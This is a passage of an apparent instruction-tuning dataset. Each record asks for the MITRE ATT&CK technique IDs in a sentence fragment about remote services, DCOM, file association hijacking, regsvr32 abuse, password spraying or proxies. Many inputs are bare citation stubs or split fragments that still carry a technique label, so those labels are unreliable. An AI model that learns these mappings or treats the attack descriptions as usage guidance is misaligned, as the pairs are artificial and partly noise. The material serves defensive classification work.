is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM).", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation:", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft COM)", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft COM) ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation:", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN WMI)", "output": "T1021.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN WMI) ### Response: T1021.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked.", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a file is opened, the default program used to open the file (also called the file association or handler) is checked. ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs)", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility.", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Assoc Oct 2017)", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Assoc Oct 2017) ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>.", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>.", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>.", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension.", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example:\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can modify these values to continually execute arbitrary commands.", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can modify these values to continually execute arbitrary commands. ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "output": "T1042", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: TrendMicro TROJ-FAKEAV OCT 2012) ### Response: T1042."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems.", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvr32.exe can be used to execute arbitrary binaries.", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe can be used to execute arbitrary binaries. ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Regsvr32)", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Regsvr32) ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations.", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvr32.exe is also a Microsoft signed binary.", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe is also a Microsoft signed binary. ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions.", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation.", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method makes no changes to the Registry as the COM object is not actually registered, only executed.", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method makes no changes to the Registry as the COM object is not actually registered, only executed. ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Regsvr32)", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Regsvr32) ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments.", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122).", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Squiblydoo Apr 2016)", "output": "T1117", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Squiblydoo Apr 2016) ### Response: T1117."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing credentials may take place at various points during a breach.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing credentials may take place at various points during a breach. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201).", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BlackHillsInfosec", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BlackHillsInfosec ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Password Spraying)", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Password Spraying) ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, management services over commonly used ports are used when password spraying.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, management services over commonly used ports are used when password spraying. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commonly targeted services include the following:\n\n* SSH (22/TCP)\n*", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Telnet (23/TCP)\n* FTP (21/TCP)", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Telnet (23/TCP)\n* FTP (21/TCP) ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n*", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n*", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP) ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "output": "T1110.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625. ### Response: T1110.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained 